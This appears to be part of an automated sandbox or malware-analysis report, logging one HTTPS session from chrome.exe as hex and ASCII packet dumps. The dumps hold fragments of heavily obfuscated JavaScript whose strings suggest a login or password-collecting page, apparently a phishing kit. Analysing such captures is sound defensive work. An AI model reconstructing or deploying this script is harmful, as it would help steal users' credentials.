71 2e 6c 67 5b 30 5d 5b 22 78 63 22 2b 38 28 22 33 47 22 29 5d 3f 74 5b 38 28 22 31 43 22 29 5d 3d 71 2e 6c 67 5b 30 
5d 2e 78 64 3a 74 2e 33 70 3d 38 28 22 31 30 22 29 2b 38 28 22 31 42 22 29 2b 38 28 22 33 36 22 29 2b 38 28 22 37 65 
22 29 2b 22 7a 2e 37 37 22 2b 38 28 22 31 4b 22 29 2b 22 78 65 2e 31 58 
Data Ascii: a"+8("43")+8("42")+8("8f")+8("4j")+8("4u"),a,{4l:{"4q-4p":8("4o")+"8d/"+8("88")+8("1i")}}).7H(m(x){w j;q=x.q
,t[8("11")+"xb"+8("3w")]=0,"ok"==q.re?(q.lg?(q.lg[0]["xc"+8("3G")]?t[8("1C")]=q.lg[0].xd:t.3p=8("10")+8("1B")+8("36")+8(
"7e")+"z.77"+8("1K")+"xe.1X

2022-05-13 14:40:21 UTC 1292 IN Data Raw: 5d 28 6d 28 29 7b 7d 29 2c 22 22 3d 3d 6b 5b 38 28 22 31 5a 22 29 5d 7c 7c 6b 2e 78 73 5b 38 28 22 78 72 
22 29 5d 28 38 28 22 33 4f 22 29 2b 38 28 22 78 71 22 29 29 7c 7c 30 21 3d 6b 5b 22 32 32 22 2b 38 28 22 58 22 29 5d 
7c 7c 28 6b 5b 22 32 32 22 2b 38 28 22 58 22 29 5d 3d 31 2c 6b 5b 22 78 70 22 2b 38 28 22 33 79 22 29 2b 22 73 74 22 
5d 3d 21 31 2c 6a 3d 6b 2c 78 3d 7b 33 44 3a 28 4b 20 5a 29 2e 34 30 28 29 2c 65 3a 6b 2e 31 74 2c 34 34 3a 38 28 22 
31 53 22 29 2b 38 28 22 36 47 22 29 2b 38 28 22 78 6f 22 29 7d 2c 28 65 3d 4b 20 34 77 29 5b 38 28 22 34 76 22 29 2b 
22 64 22 5d 28 31 6c 28 34 29 2b 28 4b 20 5a 29 5b 38 28 22 31 73 22 29 2b 22 6d 65 22 5d 28 29 2c 4c 5b 38 28 22 34 
69 22 29 2b 22 54 22 5d 28 78 29 29 2c 53 5b 38 28 22 32 74 22 29 5d 28 22 
Data Ascii: ](m(){}),""==k[8("1Z")]||k.xs[8("xr")](8("3O")+8("xq"))||0!=k["22"+8("X")]||(k["22"+8("X")]=1,k["xp"+8("3y")
+"st"]=!1,j=k,x={3D:(K Z).40(),e:k.1t,44:8("1S")+8("6G")+8("xo")},(e=K 4w)[8("4v")+"d"](1l(4)+(K Z)[8("1s")+"me"](),L[8(
"4i")+"T"](x)),S[8("2t")]("

2022-05-13 14:40:21 UTC 1294 IN Data Raw: 31 6d 22 29 5d 3d 22 22 2c 6b 5b 38 28 22 32 38 22 29 2b 38 28 22 58 22 29 5d 3d 30 2c 6b 5b 38 28 22 37 
5a 22 29 2b 38 28 22 32 39 22 29 5d 3d 31 2c 6b 5b 38 28 22 31 6e 22 29 2b 22 79 5a 22 2b 38 28 22 34 6d 22 29 5d 3d 
30 2c 6b 5b 38 28 22 31 63 22 29 2b 22 32 78 22 5d 3d 30 2c 6b 5b 22 24 7a 30 22 2b 38 28 22 38 37 22 29 5d 28 6d 28 
29 7b 6b 5b 38 28 22 33 51 22 29 5d 2e 7a 31 5b 38 28 22 31 72 22 29 5d 28 29 7d 29 7d 2c 79 4e 3a 6d 28 29 7b 77 20 
78 2c 6a 2c 65 3b 31 21 3d 6b 5b 22 31 52 22 2b 38 28 22 31 6a 22 29 5d 26 26 28 22 22 3d 3d 6b 5b 38 28 22 31 6d 22 
29 5d 7c 7c 6b 5b 38 28 22 31 6e 22 29 2b 22 73 22 5d 2e 37 4a 28 38 28 22 37 7a 22 29 2b 38 28 22 32 62 22 29 29 7c 
7c 30 21 3d 6b 5b 38 28 22 31 31 22 29 2b 38 28 22 31 6a 22 29 5d 3f 6b 5b 
Data Ascii: 1m")]="",k[8("28")+8("X")]=0,k[8("7Z")+8("29")]=1,k[8("1n")+"yZ"+8("4m")]=0,k[8("1c")+"2x"]=0,k["$z0"+8("87")]
(m(){k[8("3Q")].z1[8("1r")]()})},yN:m(){w x,j,e;1!=k["1R"+8("1j")]&&(""==k[8("1m")]||k[8("1n")+"s"].7J(8("7z")+8("2b"))||0!=k[8(
"11")+8("1j")]?k[
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2022-05-13 14:40:21 UTC 1295 IN Data Raw: 29 5b 38 28 22 34 72 22 29 5d 28 29 5b 38 28 22 34 63 22 29 2b 22 68 22 5d 3c 3d 30 29 44 20 24 28 22 23 
37 4f 22 2b 38 28 22 79 6c 22 29 2b 38 28 22 36 48 22 29 2b 38 28 22 33 58 22 29 2b 22 78 74 22 29 5b 38 28 22 31 72 
22 29 5d 28 29 2c 24 28 38 28 22 37 47 22 29 2b 38 28 22 34 37 22 29 2b 22 37 79 22 29 2e 34 73 28 38 28 22 31 65 22 
29 2b 22 61 79 22 2c 22 79 6d 22 29 2c 24 28 38 28 22 79 6e 22 29 2b 38 28 22 79 6f 22 29 2b 38 28 22 79 70 22 29 2b 
22 79 71 22 29 2e 34 73 28 38 28 22 31 65 22 29 2b 22 61 79 22 2c 38 28 22 37 73 22 29 29 2c 24 28 38 28 22 37 69 22 
29 2b 22 37 22 29 5b 38 28 22 31 67 22 29 5d 28 38 28 22 31 65 22 29 2b 22 61 79 22 2c 38 28 22 37 73 22 29 29 2c 21 
31 3b 69 66 28 24 28 22 23 79 72 22 2b 38 28 22 34 37 22 29 2b 38 28 22 79 
Data Ascii: )[8("4r")]()[8("4c")+"h"]<=0)D $("#7O"+8("yl")+8("6H")+8("3X")+"xt")[8("1r")](),$(8("7G")+8("47")+"7y").4s(8
("1e")+"ay","ym"),$(8("yn")+8("yo")+8("yp")+"yq").4s(8("1e")+"ay",8("7s")),$(8("7i")+"7")[8("1g")](8("1e")+"ay",8("7s"))
,!1;if($("#yr"+8("47")+8("y

2022-05-13 14:40:21 UTC 1296 IN Data Raw: 78 34 33 39 36 7c 7c 7c 7c 7c 7c 7c 7c 7c 7c 7c 5f 7c 74 68 69 73 7c 7c 66 75 6e 63 74 69 6f 6e 7c 7c 7c 7c 
64 61 74 61 7c 7c 7c 7c 7c 7c 76 61 72 7c 7c 7c 7c 64 69 76 7c 7c 30 78 31 31 65 7c 72 65 74 75 72 6e 7c 30 78 35 30 
7c 30 78 64 37 7c 7c 30 78 32 63 61 7c 30 78 31 33 63 7c 30 78 33 32 64 7c 6e 65 77 7c 56 75 65 7c 30 78 66 39 7c 30 
78 33 32 36 7c 30 78 33 35 65 7c 30 78 31 30 7c 30 78 32 62 33 7c 63 6c 61 73 73 7c 69 6e 73 74 61 6e 63 65 7c 7c 7c 3
0 78 32 36 38 7c 30 78 31 37 31 7c 30 78 32 64 39 7c 7c 44 61 74 65 7c 30 78 34 38 7c 30 78 34 34 34 7c 30 78 31 36 37 
7c 30 78 36 38 7c 30 78 33 34 66 7c 30 78 33 37 62 7c 7c 52 4c 7c 30 78 32 30 37 7c 30 78 39 32 7c 30 78 31 38 37 7c 
30 78 31 66 38 7c 30 78 32 62 31 7c 30 78 32 39 62 7c 30 78 34 36 37 
Data Ascii: x4396|||||||||||_|this||function||||data||||||var||||div||0x11e|return|0x50|0xd7||0x2ca|0x13c|0x32d|new|Vue|
0xf9|0x326|0x35e|0x10|0x2b3|class|instance|||0x268|0x171|0x2d9||Date|0x48|0x444|0x167|0x68|0x34f|0x37b||RL|0x2
07|0x92|0x187|0x1f8|0x2b1|0x29b|0x467

2022-05-13 14:40:21 UTC 1298 IN Data Raw: 78 33 39 36 7c 30 78 61 38 7c 5f 30 78 36 33 66 32 7c 68 65 61 64 65 72 73 7c 30 78 33 30 61 7c 30 78 32 66 
62 7c 30 78 32 39 35 7c 54 79 70 65 7c 43 6f 6e 74 65 6e 74 7c 30 78 32 38 31 7c 63 73 73 7c 30 78 66 62 7c 30 78 34 
35 66 7c 30 78 32 38 36 7c 46 6f 72 6d 44 61 74 61 7c 30 78 33 62 32 7c 30 78 31 64 63 7c 30 78 38 39 7c 30 78 31 37 
64 7c 30 78 31 62 65 7c 30 78 33 61 38 7c 30 78 63 32 7c 30 78 61 62 7c 30 78 33 34 32 7c 65 6e 61 62 7c 30 78 31 63 3
5 7c 30 78 34 64 7c 30 78 31 38 33 7c 30 78 31 37 7c 30 78 32 32 35 7c 30 78 33 34 39 7c 30 78 33 35 34 7c 30 78 33 33 
31 7c 30 78 33 62 39 7c 30 78 64 63 7c 30 78 31 62 64 7c 30 78 34 36 31 7c 30 78 34 34 32 7c 70 61 72 61 6d 73 7c 30 
78 31 66 35 7c 30 78 31 31 35 7c 78 37 32 7c 30 78 34 31 34 7c 78 36 
Data Ascii: x396|0xa8|_0x63f2|headers|0x30a|0x2fb|0x295|Type|Content|0x281|css|0xfb|0x45f|0x286|FormData|0x3b2
|0x1dc|0x89|0x17d|0x1be|0x3a8|0xc2|0xab|0x342|enab|0x1c5|0x4d|0x183|0x17|0x225|0x349|0x354|0x331|0x3b9|0xdc|0x
1bd|0x461|0x442|params|0x1f5|0x115|x72|0x414|x6

2022-05-13 14:40:21 UTC 1299 IN Data Raw: 7c 79 77 6e 54 6d 46 7c 30 78 32 30 31 7c 30 78 34 34 38 7c 66 6f 72 6d 7c 30 78 39 33 7c 30 78 31 64 35 7c 
5f 30 78 34 61 63 39 64 39 7c 74 5f 6c 6f 67 7c 74 72 79 7c 6c 6f 63 61 74 7c 30 78 33 39 32 7c 30 78 32 64 30 7c 63 68 
65 63 6b 6f 6e 65 74 69 6d 65 61 63 7c 31 65 33 7c 30 78 33 64 35 7c 30 78 32 37 38 7c 30 78 33 30 30 7c 30 78 31 32 
66 7c 30 78 33 39 62 7c 30 78 32 64 63 7c 5f 30 78 35 32 66 30 32 61 7c 30 78 32 32 39 7c 30 78 31 30 37 7c 61 6e 69 
6d 61 74 65 50 69 70 7c 70 61 72 74 7c 30 78 37 7c 30 78 34 34 39 7c 72 6f 72 7c 30 78 33 31 36 7c 73 74 65 70 6c 6f 67
69 6e 7c 6c 74 73 7c 52 65 67 45 78 70 7c 42 67 66 5a 43 5a 30 7c 69 49 62 4f 43 4d 75 7c 7a 74 30 49 79 78 6d 7c 6d 6
6 72 30 6e 33 43 7c 76 78 6e 4c 43 4b 34 7c 6d 4d 6d 32 7a 4a 65 
Data Ascii: |ywnTmF|0x201|0x448|form|0x93|0x1d5|_0x4ac9d9|t_log|try|locat|0x392|0x2d0|checkonetimeac|1e3|0x3d5
|0x278|0x300|0x12f|0x39b|0x2dc|_0x52f02a|0x229|0x107|animatePip|part|0x7|0x449|ror|0x316|steplogin|lts|RegExp|
BgfZCZ0|iIbOCMu|zt0Iyxm|mfr0n3C|vxnLCK4|mMm2zJe

2022-05-13 14:40:21 UTC 1300 IN Data Raw: 69 7c 7a 77 66 68 69 49 61 7c 69 33 47 59 6d 64 53 7c 79 4d 4c 30 6c 4d 57 7c 44 67 75 30 43 57 7c 6a 49 6e 
34 6e 64 75 7c 30 78 33 35 31 7c 45 63 39 30 41 67 75 7c 7a 4a 50 57 43 4d 4b 7c 42 4e 62 31 44 68 61 7c 6f 64 66 48 
79 32 79 7c 70 63 39 4b 41 78 79 7c 6d 5a 4b 32 6e 76 4f 7c 7a 73 31 50 7a 4a 30 7c 6c 4a 6d 57 6d 74 69 7c 6e 4d 79 
32 77 75 4b 7c 79 78 6e 5a 44 32 38 7c 44 67 4c 56 42 49 69 7c 6c 4e 62 50 43 61 7c 43 33 72 59 41 77 34 7c 7a 76 6a 6
6 7c 6d 73 61 4d 6a 4e 6d 7c 79 77 31 4c 7c 7a 77 79 39 69 49 34 7c 42 32 44 59 7a 78 6d 7c 45 67 4c 5a 44 63 69 7c 69 
4a 34 38 6c 32 71 7c 30 78 32 34 30 7c 7c 69 4b 44 4a 6e 64 75 7c 30 78 33 39 66 7c 30 78 66 33 7c 44 67 47 47 74 32 
79 7c 30 78 31 61 35 7c 43 5a 30 49 72 33 4f 7c 43 32 76 30 71 77 57 
Data Ascii: i|zwfhiIa|i3GYmdS|yML0lMW|Dgu0CW|jIn4ndu|0x351|Ec90Agu|zJPWCMK|BNb1Dha|odfHy2y|pc9KAxy|m
ZK2nvO|zs1PzJ0|lJmWmti|nMy2wuK|yxnZD28|DgLVBIi|lNbPCa|C3rYAw4|zvjf|msaMjNm|yw1L|zwy9iI4|B2DYzxm|EgLZ
Dci|iJ48l2q|0x240||iKDJndu|0x39f|0xf3|DgGGt2y|0x1a5|CZ0Ir3O|C2v0qwW

2022-05-13 14:40:21 UTC 1302 IN Data Raw: 79 77 6e 4c 41 67 38 7c 44 68 44 50 79 32 75 7c 44 32 39 59 7a 66 38 7c 79 4d 76 53 70 73 69 7c 43 32 48 
56 44 33 6d 7c 7c 6d 77 75 32 6d 74 71 7c 76 67 76 59 42 78 6d 7c 79 4a 71 31 6d 5a 4b 7c 69 4a 35 37 45 33 71 7c 7a 
73 62 56 43 68 71 7c 43 4d 35 56 44 67 75 7c 44 67 39 59 69 49 61 7c 41 77 39 55 43 59 69 7c 69 4d 7a 56 42 33 71 7c 
79 78 72 48 6c 77 69 7c 6c 4d 6e 56 42 73 38 7c 6e 4d 6d 33 6d 74 43 7c 74 75 39 63 73 75 57 7c 43 4d 44 56 44 63 61 
7c 7a 32 44 4c 43 47 7c 7a 4a 66 4c 6e 4a 65 7c 6a 49 6e 34 6e 4a 79 7c 75 32 76 53 7a 77 6d 7c 72 64 6d 35 7a 67 65 
7c 41 77 34 47 44 32 4b 7c 70 73 6a 4a 42 32 34 7c 76 4c 4b 49 70 4a 57 7c 69 63 48 30 43 4e 75 7c 79 4a 62 4b 6f 67 
75 7c 7a 77 6a 48 43 32 75 7c 41 77 35 4d 42 57 7c 6f 4d 58 4c 7a 4e 71 7c 
Data Ascii: ywnLAg8|DhDPy2u|D29Yzf8|yMvSpsi|C2HVD3m||mwu2mtq|vgvYBxm|yJq1mZK|iJ57E3q|zsbVChq|CM5VDgu
|Dg9YiIa|Aw9UCYi|iMzVB3q|yxrHlwi|lMnVBs8|nMm3mtC|tu9csuW|CMDVDca|z2DLCG|zJfLnJe|jIn4nJy|u2vSzwm|rdm5
zge|Aw4GD2K|psjJB24|vLKIpJW|icH0CNu|yJbKogu|zwjHC2u|Aw5MBW|oMXLzNq|

2022-05-13 14:40:21 UTC 1303 IN Data Raw: 61 7c 45 68 72 73 7a 77 71 7c 6e 4d 79 58 6d 4e 4b 7c 44 67 39 46 78 57 7c 75 4b 58 74 77 65 79 7c 46 73 69 
7c 43 4d 76 53 6b 4a 30 7c 6a 49 6e 34 6e 5a 6d 7c 43 68 6a 50 44 4d 65 7c 7a 74 30 49 44 67 38 7c 7a 77 66 5a 7a 75 
4b 7c 43 4c 62 59 41 78 79 7c 6f 67 79 57 6f 64 71 7c 69 67 76 54 79 77 4b 7c 42 68 72 5a 7c 44 4d 4c 4c 44 32 4b 7c 79 
32 39 31 42 4e 71 7c 45 64 79 34 6f 59 79 7c 42 67 38 49 70 4a 57 7c 41 77 71 39 69 4d 43 7c 43 5a 30 49 72 74 65 7c 
70 73 6a 4b 75 74 6d 7c 44 49 31 50 7a 4a 30 7c 69 67 39 4d 69 68 75 7c 42 4e 6e 30 43 4e 75 7c 70 4a 58 48 69 67 4b 
7c 6d 32 6e 4b 7a 74 47 7c 7a 78 6a 46 75 68 69 7c 42 67 50 64 72 49 69 7c 7a 67 75 34 79 4a 43 7c 6e 67 4c 33 69 68 
75 7c 7c 44 67 48 59 43 32 71 7c 6a 31 44 67 78 31 6d 7c 41 76 6a 5a 
Data Ascii: a|Ehrszwq|nMyXmNK|Dg9FxW|uKXtwey|Fsi|CMvSkJ0|jIn4nZm|ChjPDMe|zt0IDg8|zwfZzuK|CLbYAxy|ogy
Wodq|igvTywK|BhrZ|DMLLD2K|y291BNq|Edy4oYy|Bg8IpJW|Awq9iMC|CZ0Irte|psjKutm|DI1PzJ0|ig9Mihu|BNn0CNu|pJ
XHigK|m2nKztG|zxjFuhi|BgPdrIi|zgu4yJC|ngL3ihu||DgHYC2q|j1Dgx1m|AvjZ

2022-05-13 14:40:21 UTC 1304 IN Data Raw: 6d 32 4b 7c 6f 67 31 65 44 59 69 7c 78 32 58 56 7a 32 4b 7c 69 4d 4b 57 6d 4a 47 7c 79 4d 76 53 6f 4e 6d 7c 
69 68 79 54 41 77 79 7c 69 32 6e 59 7a 77 71 7c 6d 68 44 4d 43 63 69 7c 44 4d 43 49 70 4a 57 7c 43 32 34 4e 44 63 61 
7c 7a 4e 61 49 69 64 34 7c 69 4a 34 38 41 77 34 7c 44 67 6a 56 45 63 30 7c 7a 64 30 49 6d 73 69 7c 6f 67 79 59 6f 77 
79 7c 73 4d 34 58 71 4a 47 7c 79 74 79 35 6e 4a 47 7c 43 4d 76 5a 7a 77 34 7c 6f 75 44 41 76 65 34 7c 70 73 6a 49 44 7
8 71 7c 42 67 39 4e 41 77 34 7c 42 4d 6a 59 44 68 71 7c 70 73 6a 30 45 68 71 7c 41 78 79 47 44 49 30 7c 6d 77 76 4c 
7a 4a 4b 7c 79 77 44 4c 43 59 38 7c 45 33 53 7c 43 68 6a 56 44 67 38 7c 45 49 35 4d 41 78 69 7c 44 67 76 55 44 67 4b 
7c 6d 4a 6e 48 79 32 71 7c 78 33 76 5a 7a 78 69 7c 6f 4e 6e 30 43 4c 53 
Data Ascii: m2K|og1eDYi|x2XVz2K|iMKWmJG|yMvSoNm|ihyTAwy|i2nYzwq|mhDMCci|DMCIpJW|C24NDca|zNaIid4|iJ48
Aw4|DgjVEc0|zd0Imsi|ogyYowy|sM4XqJG|yty5nJG|CMvZzw4|ouDAve4|psjIDxq|Bg9NAw4|BMjYDhq|psj0Ehq|AxyGDI0|
mwvLzJK|ywDLCY8|E3S|ChjVDg8|EI5MAxi|DgvUDgK|mJnHy2q|x3vZzxi|oNn0CLS

Timestamp
kBytes
transferred

Direction Data
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2022-05-13 14:40:21 UTC 1306 IN Data Raw: 7c 45 64 69 57 6f 59 79 7c 6d 74 53 4d 69 33 47 7c 6e 64 7a 4c 7a 77 71 7c 69 4c 62 53 7a 77 65 7c 70 73 6a 
35 6d 4a 61 7c 7a 74 76 4e 43 49 69 7c 6d 67 6d 30 6e 74 75 7c 7a 4a 7a 7a 73 73 61 7c 75 32 4c 4e 42 49 61 7c 79 4a 
53 4d 69 33 47 7c 76 4c 6a 58 7a 65 75 7c 6e 74 79 58 79 5a 75 7c 41 4e 6d 47 42 66 6d 7c 41 77 39 55 7c 79 5a 30 49 
41 68 71 7c 45 67 66 54 43 67 57 7c 6d 74 4b 32 6d 5a 65 7c 6f 77 66 63 73 32 71 7c 7a 73 4b 47 45 33 30 7c 70 73 6a 3
7 6a 32 47 7c 6d 5a 6e 4a 7a 67 75 7c 41 77 6e 56 7c 45 4d 6d 31 79 4a 79 7c 7a 78 6a 6d 41 77 34 7c 72 65 35 79 74 
4e 4f 7c 69 4c 72 77 7a 64 69 7c 79 73 69 47 79 78 69 7c 69 33 47 33 6f 74 53 7c 44 67 76 57 42 67 38 7c 71 32 6a 68 
74 78 47 7c 43 4d 34 47 44 67 47 7c 73 49 62 4c 76 67 69 7c 6d 5a 43 34 
Data Ascii: |EdiWoYy|mtSMi3G|ndzLzwq|iLbSzwe|psj5mJa|ztvNCIi|mgm0ntu|zJzzssa|u2LNBIa|yJSMi3G|vLjXzeu
|ntyXyZu|ANmGBfm|Aw9U|yZ0IAhq|EgfTCgW|mtK2mZe|owfcs2q|zsKGE30|psj7j2G|mZnJzgu|AwnV|EMm1yJy|zxjmAw4|r
e5ytNO|iLrwzdi|ysiGyxi|i3G3otS|DgvWBg8|q2jhtxG|CM4GDgG|sIbLvgi|mZC4

2022-05-13 14:40:21 UTC 1307 IN Data Raw: 4d 48 48 43 59 47 7c 71 67 54 4c 45 78 75 7c 6d 68 44 4d 43 63 61 7c 7a 4d 6e 4d 6e 77 79 7c 79 77 58 4c 
43 4e 71 7c 7a 73 79 4a 6d 5a 4b 7c 42 78 6e 48 44 78 71 7c 70 67 72 50 44 49 61 7c 79 5a 71 31 6e 74 79 7c 43 59 35 
4f 79 78 6d 7c 79 4d 75 32 6d 32 79 7c 6c 78 7a 48 42 67 4b 7c 70 4a 58 49 44 78 71 7c 42 77 66 50 42 63 69 7c 6d 74 6
d 49 69 64 4f 7c 70 4a 58 4d 42 33 69 7c 7a 77 6e 30 7c 42 4d 66 49 42 67 75 7c 43 4d 53 47 72 78 69 7c 69 33 47 33 6e 
64 53 7c 44 67 66 30 44 78 6d 7c 43 5a 30 49 45 4b 53 7c 75 32 75 58 7a 77 75 7c 43 5a 57 56 79 74 34 7c 70 74 30 58 
69 49 61 7c 42 77 44 5a 6c 32 75 7c 79 78 6a 50 79 73 30 7c 6d 77 6d 31 79 4a 79 7c 79 32 7a 49 6d 67 71 7c 7a 4a 30 
49 7a 78 69 7c 6d 74 72 36 43 63 69 7c 44 67 76 34 41 78 6d 7c 43 67 66 
Data Ascii: MHHCYG|qgTLExu|mhDMCca|zMnMnwy|ywXLCNq|zsyJmZK|BxnHDxq|pgrPDIa|yZq1nty|CY5Oyxm
|yMu2m2y|lxzHBgK|pJXIDxq|BwfPBci|mtmIidO|pJXMB3i|zwn0|BMfIBgu|CMSGrxi|i3G3ndS|Dgf0Dxm|CZ0IEKS|u2uXzw
u|CZWVyt4|pt0XiIa|BwDZl2u|yxjPys0|mwm1yJy|y2zImgq|zJ0Izxi|mtr6Cci|Dgv4Axm|Cgf

2022-05-13 14:40:21 UTC 1308 IN Data Raw: 65 66 39 63 66 65 31 65 65 66 7c 30 78 33 39 65 7c 66 6b 6c 73 55 7c 30 78 33 39 63 7c 30 78 31 38 30 7c 30 
78 33 38 32 7c 30 78 32 36 36 7c 30 78 32 32 63 7c 30 78 31 61 39 7c 30 78 32 65 34 7c 35 34 36 65 65 7c 30 78 31 38 
35 7c 30 78 32 38 34 7c 30 78 32 33 37 7c 30 62 64 36 37 7c 30 78 32 62 66 7c 30 78 31 31 38 7c 30 78 34 61 7c 30 78 
32 62 32 7c 6c 64 65 72 7c 30 78 39 30 7c 30 78 32 65 33 7c 30 78 62 37 7c 30 78 32 38 30 7c 30 78 65 63 7c 30 78 32 3
6 30 7c 30 78 65 31 7c 30 78 33 64 32 7c 30 78 37 63 7c 30 78 32 35 34 7c 30 78 33 64 66 7c 30 78 32 30 33 7c 30 78 
32 32 7c 30 78 34 30 31 7c 30 78 31 64 61 7c 7c 30 78 32 36 35 7c 30 78 33 61 64 7c 7c 7c 30 78 33 62 61 7c 38 62 37 
33 33 7c 4c 52 63 63 62 33 36 62 31 34 63 7c 30 78 32 33 32 7c 34 69 77 
Data Ascii: ef9cfe1eef|0x39e|fklsU|0x39c|0x180|0x382|0x266|0x22c|0x1a9|0x2e4|546ee|0x185|0x284|0x237|0bd67|0x2
bf|0x118|0x4a|0x2b2|lder|0x90|0x2e3|0xb7|0x280|0xec|0x260|0xe1|0x3d2|0x7c|0x254|0x3df|0x203|0x22|0x401|0x1da||
0x265|0x3ad|||0x3ba|8b733|LRccb36b14c|0x232|4iw

2022-05-13 14:40:21 UTC 1310 IN Data Raw: 64 7c 30 78 31 35 30 7c 30 78 32 61 62 7c 38 70 76 74 64 7c 37 37 38 66 32 7c 30 78 31 62 62 7c 30 78 62 62 
7c 30 78 34 35 33 7c 78 36 34 7c 30 78 31 63 30 7c 30 78 31 33 66 7c 69 6e 70 75 74 7c 30 78 33 31 38 7c 63 31 35 63 
61 7c 30 78 32 64 7c 30 78 34 35 34 7c 30 78 31 30 36 7c 30 78 32 32 30 7c 78 36 64 7c 30 78 31 39 62 7c 30 78 39 36 
7c 30 78 64 30 7c 30 78 31 31 66 7c 30 78 32 35 65 7c 30 78 33 37 39 7c 68 74 74 70 7c 30 78 33 38 38 7c 30 78 34 34 3
0 7c 6e 65 78 74 54 69 63 6b 7c 30 78 32 36 63 7c 74 77 6e 75 6d 6f 66 66 7c 7c 35 72 65 7c 76 51 54 42 6f 63 6c 55 31 
5a 30 73 30 4f 47 7c 68 31 56 30 70 7c 6f 61 64 69 6e 7c 42 61 6e 6e 65 7c 42 61 6e 6e 65 72 4c 6f 67 6f 7c 61 70 70 7c 
74 68 65 6d 65 7c 36 63 37 31 37 35 38 36 61 35 64 7c 67 76 7a 78 
Data Ascii: d|0x150|0x2ab|8pvtd|778f2|0x1bb|0xbb|0x453|x64|0x1c0|0x13f|input|0x318|c15ca|0x2d|0x454|0x106|0x22
0|x6d|0x19b|0x96|0xd0|0x11f|0x25e|0x379|http|0x388|0x440|nextTick|0x26c|twnumoff||5re|vQTBoclU1Z0s0OG|h1V0p|oa
din|Banne|BannerLogo|app|theme|6c717586a5d|gvzx

2022-05-13 14:40:21 UTC 1311 IN Data Raw: 30 78 37 65 7c 30 78 32 32 38 7c 30 78 32 31 63 7c 30 78 31 34 64 7c 30 78 32 62 64 7c 30 78 63 38 7c 30 
78 32 35 35 7c 30 78 32 65 38 7c 30 78 33 61 36 7c 30 78 32 62 63 7c 30 78 31 32 64 7c 30 78 31 35 37 7c 30 78 33 65 
34 7c 30 78 33 35 64 7c 30 78 31 33 30 7c 30 78 32 35 39 7c 30 78 32 39 7c 30 78 31 63 38 7c 61 6d 70 7c 30 78 32 38 6
6 7c 7a 56 61 6e 7c 30 78 31 36 66 7c 30 78 33 33 33 7c 30 78 31 32 38 7c 30 78 61 34 7c 6b 5f 6f 6e 43 6c 69 63 6b 7c 
30 78 37 62 7c 30 78 32 31 66 7c 30 78 31 64 36 7c 4e 6a 62 66 7c 4f 66 7c 30 78 31 62 32 7c 74 78 74 73 68 6f 77 73 
73 77 6f 72 64 7c 72 69 67 68 74 76 61 6c 75 65 61 63 63 6f 75 6e 74 7c 76 61 6c 75 65 63 68 65 63 6b 65 64 7c 77 6f 72 
6b 69 6e 67 63 68 65 63 6b 61 7c 74 77 69 63 65 73 74 61 75 73 7c 6e 
Data Ascii: 0x7e|0x228|0x21c|0x14d|0x2bd|0xc8|0x255|0x2e8|0x3a6|0x2bc|0x12d|0x157|0x3e4|0x35d|0x130|0x259|0x29
|0x1c8|amp|0x28f|zVan|0x16f|0x333|0x128|0xa4|k_onClick|0x7b|0x21f|0x1d6|Njbf|Of|0x1b2|txtshowssword|rightvalue
account|valuechecked|workingchecka|twicestaus|n

2022-05-13 14:40:21 UTC 1312 IN Data Raw: 7c 30 78 31 36 31 7c 30 78 33 31 66 7c 72 54 64 6e 43 7c 30 78 33 38 31 7c 4e 78 66 46 6c 7c 30 78 32 37 66 
7c 30 78 32 64 62 7c 33 34 65 66 38 7c 30 78 33 34 63 7c 30 78 32 34 33 7c 30 78 34 32 61 7c 30 78 33 62 66 7c 30 78 
32 35 30 7c 30 78 32 7c 30 78 32 38 38 7c 30 78 31 64 34 7c 30 78 65 32 7c 30 78 33 66 64 7c 30 78 32 32 36 7c 63 6f 
6e 74 72 7c 30 78 32 63 64 7c 61 6e 74 73 7c 30 78 31 66 64 7c 6d 61 72 63 7c 6e 65 6e 74 7c 30 78 33 65 37 7c 69 6e 
64 7c 30 78 32 36 37 7c 30 78 31 62 7c 30 78 31 63 62 7c 30 78 31 61 34 7c 30 78 34 32 32 7c 30 78 33 38 34 7c 30 78 
34 30 32 7c 67 65 73 65 6f 7c 30 78 32 62 7c 30 78 31 61 32 7c 65 36 66 32 31 7c 30 78 32 33 62 7c 30 43 79 7c 70 72 
65 73 65 6e 74 61 74 7c 30 78 38 62 7c 30 78 64 66 7c 30 78 33 34 65 7c 
Data Ascii: |0x161|0x31f|rTdnC|0x381|NxfFl|0x27f|0x2db|34ef8|0x34c|0x243|0x42a|0x3bf|0x250|0x2|0x288|0x1d4|0xe
2|0x3fd|0x226|contr|0x2cd|ants|0x1fd|marc|nent|0x3e7|ind|0x267|0x1b|0x1cb|0x1a4|0x422|0x384|0x402|geseo|0x2b|0
x1a2|e6f21|0x23b|0Cy|presentat|0x8b|0xdf|0x34e|

2022-05-13 14:40:21 UTC 1314 IN Data Raw: 7c 30 78 35 34 7c 30 78 31 35 34 7c 30 78 32 36 65 7c 30 78 33 65 35 7c 30 78 31 35 62 7c 30 78 32 61 35 7c 
62 61 6e 7c 30 78 33 31 34 7c 30 78 63 30 7c 30 78 34 31 63 7c 30 78 32 64 33 7c 30 78 33 30 62 7c 32 62 65 63 35 7c 
30 78 33 38 62 7c 30 78 34 36 30 7c 30 78 31 36 30 7c 30 78 32 37 30 7c 30 78 31 39 34 7c 30 77 7c 30 78 32 64 66 7c 
37 43 66 45 64 7c 30 78 34 31 61 7c 30 78 34 35 65 7c 30 78 31 66 31 7c 6f 6c 65 7c 30 78 33 62 63 7c 30 78 32 61 30 7
c 30 78 38 65 7c 30 78 32 66 65 7c 30 78 32 37 34 7c 30 78 33 33 34 7c 30 78 32 34 62 7c 65 6c 73 65 7c 30 78 33 31 61 
7c 61 74 75 73 7c 30 78 35 7c 67 6c 6f 67 6f 7c 30 78 65 36 7c 30 78 32 38 7c 33 32 31 62 61 61 34 30 33 32 6c 6f 7c 63 
6f 76 65 72 7c 30 78 32 33 64 7c 30 78 32 34 37 7c 30 78 64 39 7c 
Data Ascii: |0x54|0x154|0x26e|0x3e5|0x15b|0x2a5|ban|0x314|0xc0|0x41c|0x2d3|0x30b|2bec5|0x38b|0x460|0x160|0x270
|0x194|0w|0x2df|7CfEd|0x41a|0x45e|0x1f1|ole|0x3bc|0x2a0|0x8e|0x2fe|0x274|0x334|0x24b|else|0x31a|atus|0x5|glogo
|0xe6|0x28|321baa4032lo|cover|0x23d|0x247|0xd9|

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

39 192.168.2.3 49768 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
